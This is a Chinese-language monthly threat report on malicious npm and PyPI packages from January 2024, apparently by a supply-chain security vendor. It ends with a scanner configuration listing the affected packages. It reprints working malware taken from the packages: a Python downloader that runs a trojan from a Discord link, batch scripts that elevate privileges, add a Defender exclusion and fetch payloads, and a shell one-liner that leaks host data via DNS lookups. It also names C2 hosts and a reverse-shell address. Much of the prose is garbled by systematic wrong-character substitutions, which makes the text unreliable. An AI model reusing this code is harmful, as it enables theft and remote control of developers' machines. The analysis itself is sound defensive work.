关于安全:供应链投毒预警-开源供应链投毒202401最新月报来啦

6次阅读

共计 10725 个字符,预计需要花费 27 分钟才能阅读完成。

概述

悬镜供应链平安情报中心通过继续监测全网支流开源软件仓库,联合程序动动态分析方法对潜在危险的开源组件包进行剖析和监测,捕捉大量开源组件歹意包投毒攻打事件。2024 年 1 月份,悬镜供应链平安情报中心在 Npm 官网仓库(https://www.npmjs.com/)和 Pypi 官网仓库(https://pypi.org/)上共捕捉 675 个不同版本的歹意投毒包,其中 Npm 仓库投毒占比 90.48%,Pypi 仓库投毒占比 9.52%,从每日捕捉的投毒包数据来看,Npm 仓库依然是开源组件投毒的重灾区。

针对所有捕捉的开源组件投毒包,咱们联合源代码剖析、动静行为监控等办法总结统计了投毒包的攻击方式和歹意行为。目前支流的投毒攻击方式包含:

  • 歹意文件执行
  • 代码混同执行
  • 歹意文件下载
  • shell 命令执行
  • 歹意文件开释
  • 恶意代码内存执行

其中,歹意文件执行是最常见的投毒攻击方式,占比高达 77%,其攻打流程次要利用开源组件管理器在装置组件包过程中通过投毒者自定义的歹意指令来主动加载执行内置在组件包中的恶意代码文件 (py、pyc、js、shell、pe、dll、elf、so 等)。歹意文件下载和歹意文件开释后执行也是投毒者习用的攻打手法之一。此外,局部开源组件投毒者会应用代码混同、恶意代码内存执行等技术施行无文件投毒攻打,以此来规避杀毒软件、EDR 的平安防护检测。

在所有投毒包的歹意行为中,窃取零碎信息占比超过 83%,信息窃取的次要指标是开发者零碎的密码文件、用户信息、网络配置、零碎版本、DNS 服务器 IP、零碎外网 IP、浏览器 cookie 等敏感数据。其次,远控木马和反向 shell 后门也是投毒包常见的攻打目标。

投毒案例剖析

本节将从 2024 年 1 月份捕捉的开源组件投毒包中精选一些具备代表性的歹意包进行剖析,还原投毒者习用的攻打手法及动机。同时,也心愿开发者可能了解投毒者的攻打思路,进步开发流程中的平安防护意识。

恶意程序下载执行

该攻击方式次要产生在包管理器装置或者投毒包加载时,投毒包中的恶意代码执行时会从近程服务器下载攻击者托管的下一阶段恶意程序(木马、后门等)到受害者零碎上执行。

在 1 月份里,咱们在 pypi 仓库中捕捉多起 http 组件相干的投毒攻打事件,其中投毒包 httpxs 和 update-requests 次要针对开发者发展木马后门攻打。以 pypi 仓库的 httpxs 投毒包为例,该投毒包指标针对出名 python 开源组件 httpx,尝试通过包名谬误拼写 (typo-squatting) 来蛊惑混同 python 开发者。

投毒包 httpxs 通过克隆 httpx v0.25.1 版本源码,并将 httpx 我的项目的 \_\_init\_\_.py 文件开端植入歹意 python 代码;

当 python 我的项目谬误加载歹意 httpxs 组件时,\_\_init\_\_.py 中的歹意 python 代码将失去执行。

import requests
import subprocess
import threading
import os

path = os.environ["USERPROFILE"] + "\AppData\Local\explorer.exe"

def process() -> None:
    if os.path.exists(path):
        subprocess.run(path, shell=True)

def download() -> None:
    response = requests.get("https://cdn.discordapp.com/attachments/1167794996854915172/1176286066026750074/run_for_money.exe?ex=656e50c4&is=655bdbc4&hm=cca58d210eaf8cee1ba47b9d92f9ce5814998a785e827885331ab77ab5c6d587&")

    if response.status_code != 200:
        exit()

    with open(path, 'wb') as file:
        file.write(response.content)

def execute() -> None:
    thread = threading.Thread(target=process)
    thread.start()

download(); execute()

恶意代码进一步从以下歹意网址下载新的恶意程序 (run\_for\_money.exe),写入到受害者 windows 零碎中(“C:\Users{username}\AppData\Local\explorer.exe”) 并最终执行该恶意程序。恶意程序 run\_for\_money.exe 在 virustotal 上被多款杀毒引擎断定为木马后门。

https://cdn.discordapp.com/attachments/1167794996854915172/1176286066026750074/run_for_money.exe?ex=656e50c4&is=655bdbc4&hm=cca58d210eaf8cee1ba47b9d92f9ce5814998a785e827885331ab77ab5c6d587

恶意程序开释执行

该攻击方式次要将恶意程序捆绑打包进投毒包中,或者间接将恶意程序代码编码 (通常采纳简略的 base64、ascii 等编码) 转换为可显字符串后内嵌到投毒包代码文件中。当包管理器装置或投毒包加载时,投毒包中的恶意代码执行时会间接运行捆绑的恶意程序或者将内嵌编码后的恶意程序代码进一步解码开释后运行。

以 npm 仓库的 edgecompatible 投毒包为例,该投毒包捆绑了多个伪装成 msedge 浏览器组件的木马后门程序,其指标针对应用 windows 零碎的 npm 开发者。

当 npm 我的项目开发中一旦加载 edgecompatible 投毒包,edgecompatible 的 index.js 将执行 bin/autorun.bat 脚本。

// index.js
const {spawn} = require('child_process');
const path = require('path');
const os = require("os");

module.exports = {compat: function() {if (os.platform() === "win32") {const binaryPath = path.join(__dirname, 'bin', 'autorun.bat');
        const child = spawn(binaryPath, []);
        child.stdout.on('data', (data) => {console.log(`stdout: ${data}`);
        });
        
        child.stderr.on('data', (data) => {if(data.toString().indexOf("start-process") != -1)
          {console.log( "\x1b[31m%s\x1b[0m", "Can't access Microsoft Edge rendering engine.");
            process.exit();}
        });
        
        child.on('close', (code) => {});
      } else if (os.platform() === "linux") {
        console.log(
          "\x1b[31m%s\x1b[0m",
          "This script is running on Linux. Please run on Windows Server OS."
        );
      } else {
        console.log(
          "\x1b[31m%s\x1b[0m",
          "This script is running on an unrecognized OS. Please run on Windows Server OS."
        );
      }
    }
  };

bin/autorun.bat 脚本首先通过执行“C:\Windows\System32\cacls.exe C:\Windows\System32\config\system”来判断以后用户是否领有管理员权限,如果没有管理员权限则会进一步尝试通过执行 powershell 命令”powershell start-process “.\app\cookie\_exporter.exe” -Verb RunAs”来运行 bin/app/Cookie\_export.exe,该程序是非法的 Microsoft Edge 浏览器官网程序,次要目标是用来触发来用户账户管制(UAC)提醒,并尝试坑骗受害者运行应用管理员权限来执行 bin/app/Cookie\_export.exe。

pushd %~dp0

:: echo %@echo off

pushd %~dp0

:: echo %~dp0:: Check for administrator privileges>nul 2>&1 “%SYSTEMROOT%\system32\cacls.exe” “%SYSTEMROOT%\system32\config\system”

:: If the previous command returned with an error, ask for elevated permissionsif %errorlevel% neq 0 (:: echo Requesting administrative privileges… :: Prompt for UAC elevation powershell start-process “.\app\cookie\_exporter.exe” -Verb RunAs exit /b)

:: The rest of your script goes here with administrator privileges

popd

@echo off

pushd %~dp0

:: echo %~dp0
:: Check for administrator privileges
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"

:: If the previous command returned with an error, ask for elevated permissions
if %errorlevel% neq 0 (
    :: echo Requesting administrative privileges...
    :: Prompt for UAC elevation
    powershell start-process ".\app\cookie_exporter.exe" -Verb RunAs
    exit /b
)

:: The rest of your script goes here with administrator privileges

popd

一旦受害者容许应用管理员权限运行 cookie\_export.exe,该程序将优先加载同目录下的歹意 DLL 文件 bin/app/msedge.dll 来执行下一阶段的攻打,通过 IDA 逆向可确认 cookie\_export.exe 运行时将动静加载 msedge.dll。

bin/app/msedge.dll 在 virustotal 上被多款杀毒引擎断定位木马程序。实际上,bin/app/msedge.dll 加载后会对 bin/app/msedge.dat 进一步解密开释出下一阶段的木马后门程序。

恶意代码内存执行

该攻击方式次要产生在包管理器装置或者投毒包加载时,投毒包中的恶意代码执行时会动态分配一块可读可写可执行 (RWX) 的动态内存,并将歹意 shellcode 代码间接拷贝到 RWX 内存中执行,无歹意文件落盘行为,在肯定水平上能够绕过基于文件系统的平安检测。通常 shellcode 代码也会被攻击者存储在一些非法的代码托管平台上。

以 pypi 仓库的 httprequesthub 为例,该投毒包和咱们在 2023 年 11 月份捕捉到的 python http 代理 SDK 投毒事件属于同一个投毒团伙。httprequesthub 投毒包通过在安装包 setup.py 脚本中自定义 egg\_info 命令(PostEggInfoCommand 类)从近程服务器上拉取加密的恶意代码进行解密开释出第二阶段的 shellcode 攻打代码,shellcode 代码间接在可读可写可执行的零碎内存中执行,没有恶意程序文件落盘行为,具备较高的攻打隐蔽性。

当开发者通过 pip 包管理器下载或装置 httprequesthub 包时,PostEggInfoCommand 的 run 函数将被调用执行第一阶段攻打代码。Run 函数先将 base64 编码的 url 进行解码后通过 urllib 近程下载 base64 编码的恶意代码,最初会对恶意代码进行 base64 解码后调用 subprocess.Popen 启动新过程执行第二阶段的 python 攻打代码。

Base64 编码的恶意代码 url 为:

aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vS2FyYXZheWV2QWxleGVpL2JkZjRmOWUyODA3MTRkODczMDNkNDkwOWQxOWRlM2E3L3Jhdy8zMTYzZTljOWZmNjE4YzUwYThkOGE5ZjYwMDUzYTM2ODM5ODVlMzUxL21hY2QuYjY0Cg==

解码后的恶意代码 url 为:

https://gist.github.com/KaravayevAlexei/bdf4f9e280714d87303d4909d19de3a7/raw/3163e9c9ff618c50a8d8a9f60053a3683985e351/macd.b64

解码后的第二阶段 python 攻打代码如下所示:

第二阶段 python 攻打代码调用 send 函数先将 base64 编码的 update\_information\_url 进行解码后通过 urllib 近程下载第三阶段加密的恶意代码,最初会对恶意代码进行解密并调用 eval 执行进入第三阶段攻打代码。update\_information\_url 解码后为:

https://gist.githubusercontent.com/tarasvlasov83/cf1ec403fac3f1cb8b23320c31042a67/raw/ff4be6e247d7698b401cfe31119d54167af875eb/aaaa.b64

第三阶段恶意代码解密还原后如下所示:

第三阶段恶意代码会进一步通过 base64 解密和 zlib 解压内嵌的恶意代码,最终还原出第四阶段 python 攻打代码:

第四阶段攻打代码被混同解决,其大抵逻辑是通过调用 python ctypes 库动态分配一段可读可写可执行的 RWX 零碎内存,并将内置加密压缩后的 shellcode 代码解密开释到 RWX 内存上,最初间接管制 PC 寄存器跳转到 RWX 内存中执行第五阶段 shellcode 攻打代码。

去混同后的第四阶段攻打代码如下所示(这部分攻打代码和咱们 2023 年 11 月份发现的 HTTP 代理 SDK 投毒攻打代码完全一致):

通过 IDA 逆向第五阶段 shellcode 攻打代码 (shellcode\_stage1),伪代码如下所示,shellcode 先调用零碎接口调配一块可读可写可执行的 RWX 内存,接着将异或编码后的 shellcode 解码开释到 RWX 内存中执行下一阶段攻打。

通过逆向剖析可发现第五阶段攻打代码 shellcode\_stage1 执行后,须要间断通过 16 轮 shellcode 解码开释操作,最终才会开释出实在的攻打代码 shellcode\_stage17。

从 shellcode\_stage1 到 shellcode\_stage17 阶段的代码都是间接在零碎内存上执行,不在文件系统中生成恶意代码。shellcode\_stage17 攻打代码最终负责和攻击者的 C2 服务器 3478.qt-api-worker-threads.workers.dev 进行通信。

反向 shell 后门

该攻击方式次要针对 Linux 零碎开发环境,攻击者通常在投毒包中间接内置歹意 shell 命令或者通过脚本代码执行 shell 命令,以此形式将开发者零碎 shell 反弹到攻击者管制的特定服务器端口上,开发者一旦通过包管理器装置或者加载投毒包时,反弹 shell 的恶意代码将主动执行,导致开发者零碎被攻击者近程 shell 管制。

以 pypi 仓库 tensrflwo 投毒包为例,攻击者利用包名谬误拼写 (typo-squatting) 的投毒形式来仿冒谷歌开源的深度学习框架 tensorflow 来攻打 AI 开发者。tensrflwo 安装包 setup.py 中定义的 taint2 () 函数通过创立子过程将受害者零碎 shell 反连到投毒者管制的服务器上 (59.110.111.85:8088),一旦开发者通过 pip 包管理器下载或者装置投毒包 tensrflwo 时,setup.py 中的歹意函数 tain2 () 将被调用执行,最终导致开发者零碎被攻击者近程 shell 管制。

详细分析请参考:供应链投毒预警 | 歹意 Py 包仿冒 tensorflow AI 框架施行后门投毒攻打

DNS 查问外传敏感信息

该攻击方式是一种较为荫蔽的信息窃取手法,通常在包管理器装置或者加载投毒包时主动执行用于收集受害者零碎敏感数据的 shell 命令或脚本代码,收集到的敏感数据会被分块编码后,再通过发送 DNS 查问申请将编码后的敏感数据发送到攻击者管制的 DNS 服务器上。攻击者可从 DNS 服务器查问记录中将受害者零碎的敏感数据提取并还原。

以 npm 仓库的投毒包 identity-auth 为例,identity-auth 利用 package.json 中 preinstall 指令在安装包过程中主动执行 index.js,index.js 先通过零碎 shell 命令收集敏感信息(主机名、工作目录、用户名以及零碎外网进口 IP),其次对收集到的数据进行 16 进制字符编码,并依照最大 60 字节长度进行字符分段切块;接着顺次将切块数据和攻击者管制的域名(m4rwxmtkqz5wk2d1gfpk7fcqhhn8byzn.oastify.com)拼接后,最初通过 nslookup 命令查问拼接后的 DNS 地址。

const {exec} = require("child_process");
exec("a=$(hostname;pwd;whoami;echo'identity-auth';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.m4rwxmtkqz5wk2d1gfpk7fcqhhn8byzn.oastify.com;done" , (error, data, getter) => {if(error){console.log("error",error.message);
    return;
  }
  if(getter){console.log(data);
    return;
  }
  console.log(data);
  
});

模仿投毒者生成蕴含零碎敏感数据的 DNS 地址,攻击者通过剖析 DNS 服务器查问日志即可将受害者零碎敏感数据顺次提取后进行解码还原。

恶意代码混同

为了规避动态代码剖析检测,攻击者会对投毒包中的恶意代码进行变形混同。例如 npm 仓库的投毒包 noblox.js-proxy-server,该投毒包伪装成 github 我的项目 noblox/noblox.js(https://github.com/noblox/noblox.js.git)进行投毒攻打,次要通过在 package.json 中定义 postinstall 指令,postinstall 指令在装置投毒包时将主动触发执行蕴含混同代码的 postinstall.js 歹意文件。

通过对混同代码进行解混同,能够还原出要害的恶意代码,如下图所示。

恶意代码首先从以下歹意网址下载 bat 文件保留到 c:\winapi\WindowsApiLib.bat 并执行。

https://cdn.discordapp.com/attachments/1193294801299325020/1196958183533580478/1.bat

@echo off
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start ""/min"%~dpnx0" %* && exit
if not "%1"=="am_admin" (
  powershell -Command "Start-Process -Verb RunAs -FilePath'%0'-ArgumentList'am_admin'"
  exit /b
)
set "scriptDir=%~dp0"
powershell -Command "Add-MpPreference -ExclusionPath'C:\'"
TIMEOUT /T 5
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://1f2a857a-7153-42a6-8363-becc7ed94b49-00-1vtxb7rs21ezi.spock.replit.dev/download','C:\WindowsApi\WindowsApi.exe')"
start """C:\WindowsApi\WindowsApi.exe"
taskkill /IM cmd.exe
exit

WindowsApiLib.bat 会进一步从以下歹意网址下载木马后门程序保留到 C:\WindowsApi\WindowsApi.exe 并执行。

https://1f2a857a-7153-42a6-8363-becc7ed94b49-00-1vtxb7rs21ezi.spock.replit.dev/download

排查形式

截至目前,大部分歹意投毒包在国内支流镜像源中依然可失常下载。针对文中剖析的歹意投毒包,开发者可应用 OpenSCA-cli,将受影响的组件包按如下示例保留为 db.json 文件(可参考总结中提到的组件包信息按格局增减),间接执行扫描命令(opensca-cli -db db.json -path ${project\_path}),即可疾速获知您的我的项目是否受到文中所披露的投毒包的影响。

[
  {
    "product": "httpxs",
    "version": "[0.0.1,0.0.1]",
    "language": "python",
    "id": "XMIRROR-MAL45-4856A664",
    "description": "Python 歹意投毒包 httpxs",
    "release_date": "2024-01-28"
  },
  {
    "product": "update-requests",
    "version": "[0.0.1,0.0.1]",
    "language": "python",
    "id": "XMIRROR-MAL45-CA5ED059",
    "description": "Python 歹意投毒包 update-requests",
    "release_date": "2024-01-28"
  },
  {
    "product": "edgecompatible",
    "version": "[2.3.4,2.3.4]",
    "language": "javascript",
    "id": "XMIRROR-MAL45-921FB751",
    "description": "NPM 歹意投毒包 edgecompatible",
    "release_date": "2024-01-31"
  },
  {
    "product": "httprequesthub",
    "version": "[2.31.4,2.31.4]||[2.31.0,2.31.0]||[2.31.1,2.31.1]||[2.31.3,2.31.3]",
    "language": "python",
    "id": "XMIRROR-MAL45-5915236F",
    "description": "Python 歹意投毒包 httprequesthub",
    "release_date": "2024-01-03"
  },
  {
    "product": "tensrflwo",
    "version": "[2.5.1,2.5.1]||[2.7,2.7]||[2.7.1,2.7.1]||[2.8,2.8]||[2.9,2.9]",
    "language": "python",
    "id": "XMIRROR-MAL45-777DD586",
    "description": "Python 歹意投毒包 tensrflwo",
    "release_date": "2024-01-15"
  },
  {
    "product": "identity-auth",
    "version": "[10.999.0,10.999.0]||[9.999.0,9.999.0]||[8.999.0,8.999.0]||[7.999.0,7.999.0]",
    "language": "javascript",
    "id": "XMIRROR-MALF5-F9282613",
    "description": "NPM 歹意投毒包 identity-auth",
    "release_date": "2024-01-30"
  },
  {
    "product": "noblox.js-proxy-server",
    "version": "[4.15.4,4.15.4]||[4.15.3,4.15.3]||[4.15.2,4.15.2]||[4.15.1,4.15.1]",
    "language": "javascript",
    "id": "XMIRROR-MAL45-52114A88",
    "description": "NPM 歹意投毒包 noblox.js-proxy-server",
    "release_date": "2024-01-18"
  }
]

总结

依据 2024 年 1 月份捕捉的开源组件投毒统计数据以及剖析报告来看,投毒攻打手法和动机出现多样化趋势。NPM 是投毒者的重点指标,敏感数据窃取仍为支流攻打动机。此外,投毒者开始利用代码内存执行、代码混同等平安反抗技术来规避平安检测,这对于投毒包检测来说将面临更大的挑战。

悬镜供应链平安情报中心将继续监测全网支流开源软件仓库,对潜在危险的开源组件包进行动静跟踪和溯源,实现疾速捕捉开源组件投毒攻打事件并第一工夫提供精准平安预警。

正文完
 0